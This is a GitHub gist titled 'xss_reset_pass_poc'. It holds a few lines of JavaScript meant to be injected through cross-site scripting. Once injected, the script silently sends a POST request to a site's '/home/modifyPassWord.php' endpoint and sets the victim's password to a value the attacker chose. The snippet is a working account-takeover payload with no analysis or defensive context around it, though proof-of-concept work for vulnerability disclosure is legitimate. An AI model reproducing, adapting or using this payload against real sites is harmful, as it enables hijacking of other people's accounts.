Skip to content

Instantly share code, notes, and snippets.

@rundongliu
Created August 20, 2016 07:23
Show Gist options
  • Save rundongliu/c586fd7f62734e5ac2590b6e03328b74 to your computer and use it in GitHub Desktop.
Save rundongliu/c586fd7f62734e5ac2590b6e03328b74 to your computer and use it in GitHub Desktop.
xss_reset_pass_poc
var xmlHttp = new XMLHttpRequest();
xmlHttp.open("POST", "/home/modifyPassWord.php", true);
xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlHttp.send("userpassword=hahaha&action=modify&_=");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment